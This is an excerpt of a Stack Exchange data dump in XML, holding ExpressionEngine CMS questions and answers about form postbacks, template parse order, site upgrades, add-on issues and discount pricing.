  <row Id="13443" PostTypeId="1" AcceptedAnswerId="13799" CreationDate="2013-09-03T20:33:32.043" Score="3" ViewCount="280" Body="&lt;p&gt;&lt;strong&gt;I'm using the form_declaration() function in a module&lt;/strong&gt;, and I fire a method when the form is submitted. I set the form's action to loop back to the sender so I can do some form validation serverside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I submit the form, the desired function fires, but the page content doesn't load. I can retrieve the POST data and call other functions to do checks on the data. Unfortunately the original page content doesn't load. I have nowhere to write where the user went wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could echo out where the user went wrong, but I want the messages to appear next to the erring fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code and example output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:database_add:form}&#xA;    &amp;lt;input class=&quot;text_box&quot; type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; /&amp;gt;&#xA;    &amp;lt;input class=&quot;text_box&quot; type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit_button&quot; value=&quot;Register&quot; /&amp;gt;&#xA;{/exp:database_add:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form function to make the above code make sense in ExpressionEngine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form(){&#xA;    $form_details = array(&#xA;        'action'        =&amp;gt; '/expression_engine_practice/index.php/home/registration/',&#xA;        'hidden_fields' =&amp;gt; array(&#xA;            'ACT' =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Database_add', 'register')&#xA;        )&#xA;    );&#xA;&#xA;    $return_data = ee()-&amp;gt;functions-&amp;gt;form_declaration($form_details);&#xA;    $return_data .= ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;    $return_data .= '&amp;lt;/form&amp;gt;';&#xA;    return $return_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that I want to fire (it does as is demonstrated by the example output to follow)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register(){&#xA;    $username = $_POST['username'];&#xA;    $password = $_POST['password'];&#xA;&#xA;    echo &quot;Username: $username&amp;lt;br /&amp;gt;&quot;;&#xA;    echo &quot;Password: $password&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $data = array(&#xA;        'User_ID'       =&amp;gt;null,&#xA;        'User_Name'     =&amp;gt;$username,&#xA;        'User_Passhash' =&amp;gt;$password&#xA;    );&#xA;    $query = ee()-&amp;gt;db-&amp;gt;insert('exp_user', $data);&#xA;&#xA;    //Prints out the contents of the table.&#xA;    $query = ee()-&amp;gt;db-&amp;gt;get('exp_user');&#xA;    foreach($query-&amp;gt;result() as $row){&#xA;        echo &quot;ID: $row-&amp;gt;User_ID -- $row-&amp;gt;User_Name -- $row-&amp;gt;User_Passhash&amp;lt;br/&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output generated from register() - I entered &quot;happy&quot; and &quot;gilmore&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Username: gilmore&#xA;Password: happy&#xA;ID: 45 -- pizza -- icecream&#xA;ID: 46 -- napkins -- paper towels&#xA;ID: 47 -- google -- facebook&#xA;ID: 48 -- lafferty -- daniel&#xA;ID: 49 -- gilmore -- happy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the form action after it renders. The action is &quot;/expression_engine_practice/index.php/home/registration&quot; which is exactly the name of the page the form is sent from. The desired function fires and tasks are completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why doesn't the content of the 'registration' page load again after postback?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondary question that will also help me close this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I do form validation through a module? I want the text of any errors found in the form to be displayed in the form page after a postback.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2013-09-13T14:25:51.390" LastActivityDate="2013-09-16T11:37:26.250" Title="Why doesn't the content of the page load again after postback?" Tags="|module|forms|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13444" PostTypeId="2" ParentId="13434" CreationDate="2013-09-03T20:42:45.133" Score="1" Body="&lt;p&gt;Why not just simply put your State/City structure in as categories/subcategories? You can use any number of add-ons to pull out just children and Low's Seg2Cat to get rid of the /category/ keyword etc, but seems like a case for categories to me.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-09-03T20:42:45.133" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13445" PostTypeId="2" ParentId="13093" CreationDate="2013-09-03T20:52:44.727" Score="0" Body="&lt;p&gt;According to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Parse Order documentation&lt;/a&gt;, {email} is parsed later than embeds, as a &lt;em&gt;standard global variable&lt;/em&gt;. This is a common issue with other variables such as {member_id} and {group_id}. One way around this is to use PHP and EE's session class to get the email. This will parse &lt;strong&gt;before&lt;/strong&gt; the embeds, which should send a parsed email variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, turn on PHP and try this in your &lt;code&gt;{embed=&quot;/includes/.booking-form&quot; ...}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;email=&quot;default_value='&amp;lt;?php echo ee()-&amp;gt;session-&amp;gt;userdata[&quot;email&quot;]; ?&amp;gt;'&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you're using &lt;code&gt;default=&quot;&quot;&lt;/code&gt; in all &lt;code&gt;{freeform:field:my_field}&lt;/code&gt; fields, you could also try sending only the email address and put &lt;code&gt;default=&quot;&quot;&lt;/code&gt; in &lt;code&gt;{freeform:field:my_field}&lt;/code&gt;, i.e. use this in your embed instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;email=&quot;&amp;lt;?php echo ee()-&amp;gt;session-&amp;gt;userdata['email']; ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that I'm being careful with the types of quotes used to avoid escaping issues). Then, in your form, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:email default_value=&quot;{embed:email}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-03T20:52:44.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13449" PostTypeId="1" AcceptedAnswerId="13450" CreationDate="2013-09-03T23:53:23.517" Score="1" ViewCount="132" Body="&lt;p&gt;I have an existing site that I'm upgrading from ExpressionEngine 1.6.7 to ExpressionEngine 2.7.0 but the problem that I'm running into is that the &lt;a href=&quot;http://devot-ee.com/add-ons/photo-gallery-module&quot; rel=&quot;nofollow&quot;&gt;Photo Gallery Module&lt;/a&gt; is installed. Of course there is no upgrade available for ExpressionEngine 2. Can someone suggest the best upgrade path for this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2013-09-03T23:58:26.570" Title="How should I migrate an ExpressionEngine 1 site with Photo Gallery Module?" Tags="|ee1|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13450" PostTypeId="2" ParentId="13449" CreationDate="2013-09-03T23:58:26.570" Score="3" Body="&lt;p&gt;Solspace has the &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt; Module with &lt;a href=&quot;http://www.solspace.com/software/detail/importer_gallery_assets/&quot; rel=&quot;nofollow&quot;&gt;Solspace Gallery Importer&lt;/a&gt; designed to do just this.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-09-03T23:58:26.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13451" PostTypeId="2" ParentId="13420" CreationDate="2013-09-04T00:26:57.757" Score="2" Body="&lt;p&gt;It is going to be hard to diagnosis the issue since you have modified the files. The easiest thing to do would be to replace your store files with a fresh download to make sure that you have properly reverted your files.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-09-04T00:26:57.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13452" PostTypeId="1" CreationDate="2013-09-04T00:44:22.563" Score="1" ViewCount="109" Body="&lt;p&gt;I am working on a site that sells books. There is one book that should be discounted for students of an affiliated college program. However only active students in the class can have access to the pricing. The desired scenario is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;website someclass.edu has a page someclass.edu/getbookcheap&lt;/li&gt;&#xA;&lt;li&gt;this page is limited to current students only (behind a log in)&lt;/li&gt;&#xA;&lt;li&gt;that page has a URL to a landing page examplebookstore.com/getbookcheap&lt;/li&gt;&#xA;&lt;li&gt;that page will show the reduced price for the book&lt;/li&gt;&#xA;&lt;li&gt;users who try to access example bookstore.com/getbookcheap from anywhere but someclass.edu/getbookcheap will get redirected to the page for the book where it is listed at full price&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is the best way to implement this using CartTHrob (shopping cart used)? I could use a coupon code, but those are global and not item/page specific. We could list the book twice, the second being only listed on this special landing page.&lt;/li&gt;&#xA;&lt;li&gt;are there any EECMS methods of limiting traffic based on referer? Would we have to use htaccess? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It must work if the buyer is not logged in or logged in. Limiting access based on member group is not an option at this point. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-04T03:51:51.427" Title="Set item pricing based on incoming (referer) URL" Tags="|cartthrob|htaccess|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13453" PostTypeId="2" ParentId="13440" CreationDate="2013-09-04T00:57:12.040" Score="2" Body="&lt;p&gt;Try passing the event_id to an embedded template to a calendar:events tag.&#xA;Which you would use to display the date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;my_date_template&quot; event_id=&quot;{parents:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, your embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events event_id=&quot;{embed:event_id}&quot;}&#xA;{event_start_date format=&quot;%F %d, %Y&quot;}&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-04T00:57:12.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13454" PostTypeId="2" ParentId="13278" CreationDate="2013-09-04T02:43:04.067" Score="1" Body="&lt;p&gt;There’s the Date column in Table view – you can click on that to get files to sort by date (which defaults to the date uploaded).&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-09-04T02:43:04.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13455" PostTypeId="2" ParentId="13404" CreationDate="2013-09-04T03:47:31.903" Score="1" Body="&lt;p&gt;I did some more digging, and it looks like this might not be a Matrix issue at all, but rather, &lt;a href=&quot;http://devot-ee.com/add-ons/support/vz-url-extension/viewthread/8159&quot; rel=&quot;nofollow&quot;&gt;an issue with the VZ URL fieldtype&lt;/a&gt;. On a whim, I went to one of the channels that was rendering fine, and added a URL field. Suddenly, I got the issue. I removed the URL field, and everything went back to normal.&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-09-04T03:47:31.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13456" PostTypeId="2" ParentId="13452" CreationDate="2013-09-04T03:51:51.427" Score="1" Body="&lt;p&gt;What you are after are conditional statements based on IF someone is entitled to discounts or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the discount remain the same overall or vary? eg. 50% off for all. Or 10%, 20% and 30% off in variations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd use one page per book title and load the page using EE's conditional statements for displaying information based on user group. You can read more about conditional statements in the Docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a book title's template page, you would declare conditions that if the logged in user group is &quot;Student&quot; then display this pricing only. If else, then display full retail price. This way a visitor who is not registered or logged in is still able to access the page and view pricing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, if you had two types of students (fulltime and casual) and their user group id's were 1 and 2 then you would use this code within the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if in_group('1|2')}&#xA; Discount student price&#xA; {if:else}&#xA; Retail Price&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the student is logged out they will see the full retail pricing as anyone else will. The price listed using this will be passed in through the form to Cart Throb based on what is displayed with this method. This same conditional if:else statement can also allow you to display information on any page if the user is logged in. If they are logged in and on the front page you could use the statement to advise of a discount promotion or any information specific to that user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can discount the price on the page using PHP which will then be passed through the form in to the cart. This method allows you to control the pricing on a page rather than on the final order confirmation page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that if you look at most book stores, they apply discount on order confirmation pages. This allows coupon codes to be added to the sale. This could allow a student to obtain a further discount on a book. Secondary discounts are an option to boost sales during festive times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If discount prices vary then you would still display the correct pricing using the above conditional statements but would need to declare in a custom field in the channel entry of each book using either -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the exact discount eg. custom field - {stdiscount_off} allowing control over book discount per channel entry and display using the if:else  or&lt;/li&gt;&#xA;&lt;li&gt;create tier levels of applied discounts custom field - {stdiscount_off_1}, {stdiscount_off_2}, {stdiscount_off_3} and display based on user group identification in the conditional.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you wanted to have a page that is solely for students (for eg. './studentbooks') then you could use a conditional at the top of your page template to redirect them to another page that is for full retail pricing ('./books') like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA; {redirect='books/'} &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this increases the number of pages you are handling by having separate pages for users. Not the best practice approach to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you first have to let the client decide for their business website if they wish to &quot;force&quot; and &quot;apply&quot; a discount for a user too.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2013-09-04T03:51:51.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13457" PostTypeId="2" ParentId="11847" CreationDate="2013-09-04T07:14:45.233" Score="1" Body="&lt;p&gt;The basic issue was  that the javascript files that makes the menu working didn't get downloaded from server. This happened because there was an issue on server and hence we were shown the '503 service unavailable' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The '503 service unavailable' was due to varnish and apache disagreeing with the size of gzipped content. When this issue got fixed on server the javascript resource downloaded properly and the submenu started working.&lt;/p&gt;&#xA;" OwnerUserId="1281" LastActivityDate="2013-09-04T07:14:45.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13459" PostTypeId="1" AcceptedAnswerId="13460" CreationDate="2013-09-04T08:57:09.960" Score="2" ViewCount="54" Body="&lt;p&gt;My client has requested that a customers email address be placed in an email template. This can obviously be retrieved using the member details if the customer has chosen to be a member, but how do I get the email address if the customer hasn't opted to register as a member please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-09-04T17:32:27.360" Title="Exp:resso Store: Show customers email in template" Tags="|expresso-store|email|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13460" PostTypeId="2" ParentId="13459" CreationDate="2013-09-04T09:04:55.117" Score="2" Body="&lt;p&gt;Found the solution. The tag &lt;code&gt;{order_email}&lt;/code&gt; works in the email templates.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="115" LastEditDate="2013-09-04T17:32:27.360" LastActivityDate="2013-09-04T17:32:27.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13461" PostTypeId="2" ParentId="13431" CreationDate="2013-09-04T10:09:03.790" Score="1" Body="&lt;p&gt;why not use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar switch=&quot;calendarToday|calendarCell&quot; channel=&quot;workshop_events&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;{calendar_rows}&#xA;{if entries}&#xA;    {entries}&#xA;        {title}&amp;lt;br /&amp;gt;&#xA;        {date format=&quot;%g:%i%a&quot;}&#xA;    {/entries}&#xA;{/if}&#xA;{/calendar_rows}&#xA;{/exp:channel:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-04T10:09:03.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13462" PostTypeId="1" AcceptedAnswerId="13613" CreationDate="2013-09-04T11:36:31.890" Score="2" ViewCount="733" Body="&lt;p&gt;I'm trying to update to 2.7.0 from 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this on one website we have, but the other just isn't playing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing the exact same thing (And also tried this 3 times and still getting the same issue) It gets to the point where I agree to the terms &amp;amp; conditions, then goes to this URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&quot; rel=&quot;nofollow&quot;&gt;http://website.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And displays a Google Chrome error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally see these errors when there is a missing DB file, or an error with the DB. But I've restored it back, ensured the CMS worked, then tried again and it still doesn't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Console isn't showing anything neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit (After Disabling JS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&quot; rel=&quot;nofollow&quot;&gt;http://website.com/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit (PHP Error)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[04-Sep-2013 12:13:21 Europe/Dublin] PHP Fatal error:  Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /Users/shape2/repositories/website.com/system/expressionengine/third_party/pt_field_pack/pt_fieldtype.php on line 148&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="362" LastEditDate="2013-09-10T08:26:35.000" LastActivityDate="2013-09-14T03:26:49.793" Title="2.7.0 Update Error" Tags="|updating|update|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13463" PostTypeId="2" ParentId="1422" CreationDate="2013-09-04T11:40:58.143" Score="0" Body="&lt;p&gt;I seem to have got round it by using Jquery to load the page into a new iFrame. I haven't tested it fully though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a click handler to the link with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a.close-cookie-policy').click(function(){&#xA;  var thisLink = $(this).attr('href');&#xA;&#xA;  $('&amp;lt;iframe&amp;gt;', {&#xA;    src: thisLink,&#xA;    id:  'cookie-frame',&#xA;    frameborder: 0,&#xA;    width: 0,&#xA;    height: 0,&#xA;    scrolling: 'no'&#xA;  }).appendTo('body');&#xA;&#xA;  $('.cookie-policy').fadeOut('slow');&#xA;&#xA;  return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2013-09-04T11:40:58.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13464" PostTypeId="2" ParentId="13417" CreationDate="2013-09-04T12:25:02.870" Score="0" Body="&lt;p&gt;I don't have any docs, but you could look at my Authenticate add-on for a real world example. This form building process has always been a pain for me, so I built Base Form to make life easier. Your forms will inherits loads of default functionality without you having to code it. This library is due for a 2.0 rewrite at some point, and not perfect, but even still I use it all the time with almost all of my add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Base-Form&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Base-Form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-09-04T12:25:02.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13466" PostTypeId="1" CreationDate="2013-09-04T13:20:35.943" Score="3" ViewCount="115" Body="&lt;p&gt;I have a Matrix field with a Rich Text Cell Type. When I output it on the frontend there are no paragraph tags. How do I add them? Other tags (e.g. &lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt; display fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzlLT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_faq&quot;}&#xA;{matrix_faqs}&#xA;    &amp;lt;dt&amp;gt;{question}&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;{answer}&amp;lt;/dd&amp;gt;&#xA;{/matrix_faqs}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix 2.5.6&lt;/p&gt;&#xA;" OwnerUserId="1999" LastActivityDate="2013-09-04T19:58:29.233" Title="Paragraphs in Matrix field not showing on the frontend" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13467" PostTypeId="2" ParentId="13466" CreationDate="2013-09-04T13:26:55.050" Score="2" Body="&lt;p&gt;Go into Admin &gt; Channel Administration &gt; Channels &gt; Edit Preferences (beside the appropriate channel). Under “Channel Posting Preferences”, make sure that the “Default HTML formatting in channel entries” setting is set to “Allow ALL HTML”.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-09-04T13:26:55.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13468" PostTypeId="2" ParentId="13386" CreationDate="2013-09-04T14:32:22.923" Score="1" Body="&lt;p&gt;It seems it can't write to the folder because of incorrect permissions on the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly change the location of where the sessions files are saved (e.g. in a tmp_sessions folder) and change the location in Plesk.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-09-04T14:32:22.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13469" PostTypeId="1" AcceptedAnswerId="13474" CreationDate="2013-09-04T14:35:25.190" Score="1" ViewCount="79" Body="&lt;p&gt;I'd like to output a list of &lt;em&gt;ONLY&lt;/em&gt; the friends of the current logged in member who have favorited the entry being viewed (single entry page). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this can be done by passing embeds of one module results down to another, but if anyone has accomplished this more easily before I'd love to hear suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="322" LastEditDate="2013-09-04T14:53:15.740" LastActivityDate="2013-09-04T15:59:43.377" Title="Solspace Friends &amp; Favorites together" Tags="|ee2|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13470" PostTypeId="1" AcceptedAnswerId="13516" CreationDate="2013-09-04T14:58:58.347" Score="2" ViewCount="90" Body="&lt;p&gt;I'm working on an old EE1 site at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's multi-lingual using this approach from Carl &lt;a href=&quot;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&lt;/a&gt; with English, Chinese, Japanese &amp;amp; Korean versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a conditional in a template that looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if description_{user_language} != &quot;&quot;}{description_{user_language}}{if:else}{description_en}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where {description_en} etc is an LG TinyMCE field. It works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the client wants a better WYSIWYG and so, naturally, we'd like to use WYGWAM. So after installing WYGWAM and configuring the custom fields, our conditional renders the page blank. As soon as we remove the conditional it's fine (missing the content of course but has pinpointed the cause).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a way around this or why it's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-05T16:39:17.310" Title="strange parse order issue" Tags="|wygwam|conditionals|ee1|parse-order|wysiwyg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13471" PostTypeId="1" AcceptedAnswerId="13480" CreationDate="2013-09-04T15:11:03.863" Score="0" ViewCount="312" Body="&lt;p&gt;I've been working on my first EE plugin today, and I need to make it dynamic by passing either a PHP variable, or I would have thought I can use a preload_replace variable, from the template that calls the plugin, into the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin runs a custom query on the database to return a set of entry IDs into the channel entries tag. But I need to set a category ID in the the template that would be dynamic depending on the template been viewed. This needs to be passed into the plugin for the query to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass this in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried numerous ways with the template class, and using PHP by setting a variable in the template, but no success. I just keep getting an undefined variable error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer any pointers, please?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-09-04T16:42:42.870" Title="Passing preload_replace variables into a plugin" Tags="|add-on-development|php|plugin|variable|preload-replace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13472" PostTypeId="1" CreationDate="2013-09-04T15:11:08.937" Score="0" ViewCount="82" Body="&lt;p&gt;Using ExpressionEngine 2.6.1 and SuperSearch 2.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrade the {super_search_total_results} no longer parses. It outputs the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;{super_search_total_results} Matches Found&quot; in the HTML instead of parsing the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {super_search_total_results} tag is supposed to be able to be used inside OR outside the super search loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or is this a bug in the 2.1.2 version of Super Search?&lt;/p&gt;&#xA;" OwnerUserId="1938" LastActivityDate="2014-01-29T16:29:44.873" Title="{super_search_total_results} Does Not Parse in EE 2.6.1" Tags="|templates|supersearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
